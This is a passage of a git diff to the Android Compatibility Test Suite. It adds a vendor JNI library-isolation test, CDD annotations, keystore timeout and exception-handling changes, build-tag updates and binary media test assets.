public class JniStaticTest extends JniTestCase {
static {
@@ -35,6 +38,7 @@
* Test library accessibility. Internal platform libraries should not
* be accessible from the jni code.
*/
+ @CddTest(requirement="3.3.1/C-0-7,C-0-9,C-0-10")
public void test_linker_namespaces() throws IOException {
String error = LinkerNamespacesHelper.runAccessibilityTest();
if (error != null) {
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index bd524d2..f63e76a 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -50,6 +50,7 @@
"libmediandk.so",
"libm.so",
"libnativewindow.so",
+ "libneuralnetworks.so",
"libOpenMAXAL.so",
"libOpenSLES.so",
"libRS.so",
diff --git a/tests/tests/jni_vendor/Android.mk b/tests/tests/jni_vendor/Android.mk
new file mode 100644
index 0000000..ba06b42
--- /dev/null
+++ b/tests/tests/jni_vendor/Android.mk
@@ -0,0 +1,47 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVendorJniTestCases
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+# When built, explicitly put it in the vendor partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_VENDOR_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+
+LOCAL_JNI_SHARED_LIBRARIES := libvendorjnitest
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := current
+
+# TODO(jiyong) make this really a part of CTS
+# This can't be done right now since VNDK runtime restriction is optional
+# at least for O-MR1.
+# Tag this module as a cts test artifact
+#LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
+
+# Include the associated library's makefile.
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jni_vendor/AndroidManifest.xml b/tests/tests/jni_vendor/AndroidManifest.xml
new file mode 100644
index 0000000..363a151
--- /dev/null
+++ b/tests/tests/jni_vendor/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jni.vendor.cts">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <!-- This is a self-instrumenting test package. -->
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.jni.vendor.cts"
+ android:label="CTS tests of calling native code via Vendor's JNI">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/jni_vendor/AndroidTest.xml b/tests/tests/jni_vendor/AndroidTest.xml
new file mode 100644
index 0000000..65afd6b
--- /dev/null
+++ b/tests/tests/jni_vendor/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Vendor's JNI test cases">
+ <option name="config-descriptor:metadata" key="component" value="art" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsVendorJniTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.jni.vendor.cts" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/tests/jni_vendor/libvendorjnitest/Android.mk b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
new file mode 100644
index 0000000..ca59ee8
--- /dev/null
+++ b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libvendorjnitest
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := android_jni_vendor_cts_VendorJniTest.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libdl liblog
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni_vendor/libvendorjnitest/android_jni_vendor_cts_VendorJniTest.cpp b/tests/tests/jni_vendor/libvendorjnitest/android_jni_vendor_cts_VendorJniTest.cpp
new file mode 100644
index 0000000..42e740e
--- /dev/null
+++ b/tests/tests/jni_vendor/libvendorjnitest/android_jni_vendor_cts_VendorJniTest.cpp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <dlfcn.h>
+
+extern "C" JNIEXPORT jstring JNICALL
+Java_android_jni_vendor_cts_VendorJniTest_dlopen(JNIEnv* env, jclass clazz, jstring name) {
+ const char* libname = env->GetStringUTFChars(name, nullptr);
+ jstring error_msg;
+ dlerror(); // clear any existing error
+ void* handle = dlopen(libname, RTLD_NOW);
+ env->ReleaseStringUTFChars(name, libname);
+ if (handle == nullptr) {
+ error_msg = env->NewStringUTF(dlerror());
+ } else {
+ error_msg = env->NewStringUTF("");
+ }
+ return error_msg;
+}
diff --git a/tests/tests/jni_vendor/src/android/jni/vendor/cts/VendorJniTest.java b/tests/tests/jni_vendor/src/android/jni/vendor/cts/VendorJniTest.java
new file mode 100644
index 0000000..db970e1
--- /dev/null
+++ b/tests/tests/jni_vendor/src/android/jni/vendor/cts/VendorJniTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jni.vendor.cts;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.FileSystems;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.TestCase;
+
+import android.os.Process;
+
+public class VendorJniTest extends TestCase {
+ private List<String> llndkLibraries;
+ private List<String> publicLibraries;
+ private List<String> vndkspLibraries;
+ private List<String> vndkLibraries;
+ private List<String> frameworkOnlyLibraries;
+
+ protected void setUp() throws Exception {
+ llndkLibraries = Files.readAllLines(FileSystems.getDefault().getPath(
+ "/system/etc/llndk.libraries.txt"));
+ publicLibraries = Files.readAllLines(FileSystems.getDefault().getPath(
+ "/system/etc/public.libraries.txt"));
+ vndkspLibraries = Files.readAllLines(FileSystems.getDefault().getPath(
+ "/system/etc/vndksp.libraries.txt"));
+
+ String systemLibDir = Process.is64Bit() ? "/system/lib64" : "/system/lib";
+
+ vndkLibraries = new ArrayList<>();
+ for(File f : (new File(systemLibDir + "/vndk")).listFiles()) {
+ if (f.isFile()) {
+ String name = f.getName();
+ if (name.endsWith(".so")) {
+ vndkLibraries.add(name);
+ }
+ }
+ }
+
+ frameworkOnlyLibraries = new ArrayList<>();
+ for(File f : (new File(systemLibDir)).listFiles()) {
+ if (f.isFile()) {
+ String name = f.getName();
+ if (name.endsWith(".so") && !llndkLibraries.contains(name)
+ && !vndkspLibraries.contains(name)
+ && !publicLibraries.contains(name)) {
+ frameworkOnlyLibraries.add(name);
+ }
+ }
+ }
+
+ System.loadLibrary("vendorjnitest");
+ }
+
+ public static native String dlopen(String name);
+
+ /* test if llndk libraries are all accessible */
+ public void test_llndkLibraries() {
+ for(String lib : llndkLibraries) {
+ assertEquals("", dlopen(lib));
+ }
+ }
+
+ /* test if vndk-sp libs are accessible */
+ public void test_vndkSpLibraries() {
+ for(String lib : vndkspLibraries) {
+ String error = dlopen(lib);
+ if (lib.equals("android.hidl.memory@1.0-impl.so")) {
+ // This won't be accessible to vendor JNI. This lib is only accessible from the
+ // 'sphal' namespace which isn't linked to the vendor-classloader-namespace.
+ if (error.equals("")) {
+ fail(lib + " must not be accessible to vendor apks, but was accessible.");
+ }
+ continue;
+ }
+ assertEquals("", error);
+ }
+ }
+
+ /* test if vndk libs are not accessible */
+ public void test_vndkLibraries() {
+ for(String lib : vndkLibraries) {
+ String error = dlopen(lib);
+ if (error.equals("")) {
+ fail(lib + " must not be accessible to vendor apks, but was accessible.");
+ }
+ }
+ }
+
+ /* test if framework-only libs are not accessible */
+ public void test_frameworkOnlyLibraries() {
+ for(String lib : frameworkOnlyLibraries) {
+ String error = dlopen(lib);
+ if (error.equals("")) {
+ fail(lib + " must not be accessible to vendor apks, but was accessible.");
+ }
+ }
+ }
+}
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
index ae1b804..ea24954 100644
--- a/tests/tests/keystore/Android.mk
+++ b/tests/tests/keystore/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES := bouncycastle
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index ba74804..2a39dab 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -18,6 +18,7 @@
import android.app.KeyguardManager;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.security.KeyPairGeneratorSpec;
import android.security.KeyStoreParameter;
import android.security.keystore.KeyProperties;
@@ -29,6 +30,8 @@
import android.keystore.cts.R;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
@@ -77,6 +80,8 @@
private static final String TEST_ALIAS_3 = "test3";
+ private long mMaxTestDurationMillis;
+
/*
* The keys and certificates below are generated with:
*
@@ -731,6 +736,12 @@
// Get a new instance because some tests need it uninitialized
mKeyStore = KeyStore.getInstance("AndroidKeyStore");
+
+ // Use a longer timeout on watches, which are generally less performant.
+ mMaxTestDurationMillis =
+ getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
+ ? LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS
+ : LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS;
}
@Override
@@ -2027,6 +2038,7 @@
private static final int MIN_SUPPORTED_KEY_COUNT = 1500;
private static final long MINUTE_IN_MILLIS = 1000 * 60;
private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS = 2 * MINUTE_IN_MILLIS;
+ private static final long LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH_MILLIS = 3 * MINUTE_IN_MILLIS;
private static boolean isDeadlineReached(long startTimeMillis, long durationMillis) {
long nowMillis = System.currentTimeMillis();
@@ -2072,8 +2084,7 @@
protectionParams);
// Import key3 lots of times, under different aliases.
- while (!isDeadlineReached(
- testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+ while (!isDeadlineReached(testStartTimeMillis, mMaxTestDurationMillis)) {
latestImportedEntryNumber++;
if ((latestImportedEntryNumber % 1000) == 0) {
Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
@@ -2135,6 +2146,7 @@
}
}
+ @CddTest(requirement="9.11/C-0-1")
@LargeTest
public void testKeyStore_LargeNumberOfKeysSupported_EC() throws Exception {
// This test imports key1, then lots of other keys, then key2, and then confirms that
@@ -2171,7 +2183,7 @@
// Import key3 lots of times, under different aliases.
while (!isDeadlineReached(
- testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+ testStartTimeMillis, mMaxTestDurationMillis)) {
latestImportedEntryNumber++;
if ((latestImportedEntryNumber % 1000) == 0) {
Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
@@ -2233,6 +2245,7 @@
}
}
+ @CddTest(requirement="9.11/C-0-1")
@LargeTest
public void testKeyStore_LargeNumberOfKeysSupported_AES() throws Exception {
// This test imports key1, then lots of other keys, then key2, and then confirms that
@@ -2267,8 +2280,7 @@
mKeyStore.setEntry(entryName1, new KeyStore.SecretKeyEntry(key1), protectionParams);
// Import key3 lots of times, under different aliases.
- while (!isDeadlineReached(
- testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+ while (!isDeadlineReached(testStartTimeMillis, mMaxTestDurationMillis)) {
latestImportedEntryNumber++;
if ((latestImportedEntryNumber % 1000) == 0) {
Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
@@ -2324,6 +2336,7 @@
}
}
+ @CddTest(requirement="9.11/C-0-1")
@LargeTest
public void testKeyStore_LargeNumberOfKeysSupported_HMAC() throws Exception {
// This test imports key1, then lots of other keys, then key2, and then confirms that
@@ -2356,8 +2369,7 @@
mKeyStore.setEntry(entryName1, new KeyStore.SecretKeyEntry(key1), protectionParams);
// Import key3 lots of times, under different aliases.
- while (!isDeadlineReached(
- testStartTimeMillis, LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_MILLIS)) {
+ while (!isDeadlineReached(testStartTimeMillis, mMaxTestDurationMillis)) {
latestImportedEntryNumber++;
if ((latestImportedEntryNumber % 1000) == 0) {
Log.i(TAG, "Imported " + latestImportedEntryNumber + " keys");
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index 57a7648..bac8ed0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -687,23 +687,12 @@
// Encrypting this plaintext using Android Keystore Cipher should fail.
Cipher cipher = Cipher.getInstance(algorithm, keystoreProvider);
cipher.init(Cipher.ENCRYPT_MODE, encryptionKey);
- if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
- // This transformation is special: it's supposed to throw a
- // BadPaddingException instead of an IllegalBlockSizeException.
- try {
- byte[] ciphertext = cipher.doFinal(plaintext);
- fail("Unexpectedly produced ciphertext (" + ciphertext.length
- + " bytes): " + HexEncoding.encode(ciphertext) + " for "
- + plaintext.length + " byte long plaintext");
- } catch (BadPaddingException expected) {}
- } else {
- try {
- byte[] ciphertext = cipher.doFinal(plaintext);
- fail("Unexpectedly produced ciphertext (" + ciphertext.length
- + " bytes): " + HexEncoding.encode(ciphertext) + " for "
- + plaintext.length + " byte long plaintext");
- } catch (IllegalBlockSizeException expected) {}
- }
+ try {
+ byte[] ciphertext = cipher.doFinal(plaintext);
+ fail("Unexpectedly produced ciphertext (" + ciphertext.length
+ + " bytes): " + HexEncoding.encode(ciphertext) + " for "
+ + plaintext.length + " byte long plaintext");
+ } catch (IllegalBlockSizeException | BadPaddingException expected) {}
// Encrypting this plaintext using the highest-priority implementation should
// fail.
@@ -720,34 +709,16 @@
// This has already been tested above.
continue;
}
- if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
- // This transformation is special: it's supposed to throw a
- // BadPaddingException instead of an IllegalBlockSizeException.
- try {
- byte[] ciphertext = cipher.doFinal(plaintext);
- fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
- + ciphertext.length + " bytes): "
- + HexEncoding.encode(ciphertext) + " for "
- + plaintext.length + " byte long plaintext");
- // TODO: Remove this workaround once Conscrypt's RSA Cipher Bug 22567458
- // is fixed. Conscrypt's Cipher.doFinal throws a SignatureException.
- // This code is unreachable because of the fail() above. It's here only
- // so that the compiler does not complain about us catching
- // SignatureException.
- Signature sig = Signature.getInstance("SHA256withRSA");
- sig.sign();
- } catch (BadPaddingException | SignatureException expected) {}
- } else {
- try {
- byte[] ciphertext = cipher.doFinal(plaintext);
- fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
- + ciphertext.length + " bytes): "
- + HexEncoding.encode(ciphertext) + " for "
- + plaintext.length + " byte long plaintext");
- // TODO: Remove the catching of RuntimeException workaround once the
- // corresponding Bug 22567463 in Conscrypt is fixed.
- } catch (IllegalBlockSizeException | RuntimeException expected) {}
- }
+ try {
+ byte[] ciphertext = cipher.doFinal(plaintext);
+ fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
+ + ciphertext.length + " bytes): "
+ + HexEncoding.encode(ciphertext) + " for "
+ + plaintext.length + " byte long plaintext");
+ // TODO: Remove the catching of RuntimeException and BadPaddingException
+ // workaround once the corresponding Bug 22567463 in Conscrypt is fixed.
+ } catch (IllegalBlockSizeException | BadPaddingException | RuntimeException
+ exception) {}
} catch (Throwable e) {
throw new RuntimeException(
"Failed for " + algorithm + " with key " + key.getAlias()
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 67c4e3a..d901690 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -767,8 +767,6 @@
assertNotNull(rootOfTrust);
assertNotNull(rootOfTrust.getVerifiedBootKey());
assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
- assertTrue(rootOfTrust.isDeviceLocked());
- assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
}
private void checkRsaKeyDetails(Attestation attestation, int keySize, int purposes,
diff --git a/tests/tests/libcorefileio/Android.mk b/tests/tests/libcorefileio/Android.mk
index d329c9d..cfd9775 100644
--- a/tests/tests/libcorefileio/Android.mk
+++ b/tests/tests/libcorefileio/Android.mk
@@ -28,6 +28,6 @@
LOCAL_PACKAGE_NAME := CtsLibcoreFileIOTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorelegacy22/Android.mk b/tests/tests/libcorelegacy22/Android.mk
index 408fd3b..d2468c3 100644
--- a/tests/tests/libcorelegacy22/Android.mk
+++ b/tests/tests/libcorelegacy22/Android.mk
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := 22
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index 20ce1d9..d5409d7 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Legacy Libcore test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index 1da9525..a0b8142 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -48,7 +48,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner apache-commons-math
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
index 0a341cd..b160ef0 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -21,8 +21,6 @@
import android.location.LocationManager;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Test the {@link Location} values.
*
@@ -91,7 +89,6 @@
softAssert.assertAll();
}
- @CddTest(requirement="7.3.3/C-3-4")
public static void checkLocationAccuracyFields(SoftAssert softAssert,
Location location, boolean extendedLocationAccuracyExpected) {
softAssert.assertTrue("All locations generated by the LocationManager "
@@ -205,4 +202,4 @@
}
-}
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
index 00d7b8a..2457c76 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
@@ -23,8 +23,6 @@
import java.util.List;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Test for {@link GnssMeasurement}s without location registration.
*
@@ -79,7 +77,6 @@
/**
* Test GPS measurements registration.
*/
- @CddTest(requirement="7.3.3/C-2-1")
public void testGnssMeasurementRegistration() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index 03cafb6..ec78ea3 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -85,7 +85,7 @@
* It only performs sanity checks for the measurements received.
* This tests uses actual data retrieved from Gnss HAL.
*/
- @CddTest(requirement="7.3.3/C-2-2")
+ @CddTest(requirement="7.3.3")
public void testPseudorangeValue() throws Exception {
// Checks if Gnss hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
@@ -228,7 +228,7 @@
* Use pseudorange calculation library to calculate position then compare to location from
* Location Manager.
*/
- @CddTest(requirement="7.3.3/C-2-2")
+ @CddTest(requirement="7.3.3")
public void testPseudoPosition() throws Exception {
// Checks if Gnss hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssTtffTests.java b/tests/tests/location/src/android/location/cts/GnssTtffTests.java
index 90a363a..335de07 100644
--- a/tests/tests/location/src/android/location/cts/GnssTtffTests.java
+++ b/tests/tests/location/src/android/location/cts/GnssTtffTests.java
@@ -40,7 +40,7 @@
* connection should not matter hence one threshold is used.
* @throws Exception
*/
- @CddTest(requirement="7.3.3/C-1-2")
+ @CddTest(requirement="7.3.3")
public void testTtffWithNetwork() throws Exception {
ensureNetworkStatus();
if (hasCellularData()) {
@@ -183,4 +183,4 @@
.getSystemService(Context.CONNECTIVITY_SERVICE);
}
-}
+}
\ No newline at end of file
diff --git a/tests/tests/location2/Android.mk b/tests/tests/location2/Android.mk
index a081213..5b9f327 100644
--- a/tests/tests/location2/Android.mk
+++ b/tests/tests/location2/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index b7ae9d2..e03eb76 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -77,7 +77,7 @@
LOCAL_JAVA_LIBRARIES += android.test.runner org.apache.http.legacy
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/media/assets/unmuxed_1000k/00.ts b/tests/tests/media/assets/unmuxed_1000k/00.ts
new file mode 100644
index 0000000..ac6a7a0
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/01.key b/tests/tests/media/assets/unmuxed_1000k/01.key
new file mode 100644
index 0000000..a5207e8
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/01.key
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/01.ts b/tests/tests/media/assets/unmuxed_1000k/01.ts
new file mode 100644
index 0000000..14ac277
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/02.ts b/tests/tests/media/assets/unmuxed_1000k/02.ts
new file mode 100644
index 0000000..3810424
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/03.ts b/tests/tests/media/assets/unmuxed_1000k/03.ts
new file mode 100644
index 0000000..4c6da90
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/04.ts b/tests/tests/media/assets/unmuxed_1000k/04.ts
new file mode 100644
index 0000000..666a849
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/05.ts b/tests/tests/media/assets/unmuxed_1000k/05.ts
new file mode 100644
index 0000000..af09b5f
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/06.ts b/tests/tests/media/assets/unmuxed_1000k/06.ts
new file mode 100644
index 0000000..09cdd5b
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/07.ts b/tests/tests/media/assets/unmuxed_1000k/07.ts
new file mode 100644
index 0000000..562769d
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/08.ts b/tests/tests/media/assets/unmuxed_1000k/08.ts
new file mode 100644
index 0000000..a70bc37
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/09.ts b/tests/tests/media/assets/unmuxed_1000k/09.ts
new file mode 100644
index 0000000..fadc56d
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/10.ts b/tests/tests/media/assets/unmuxed_1000k/10.ts
new file mode 100644
index 0000000..c22f7d0
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/10.ts
Binary files differ
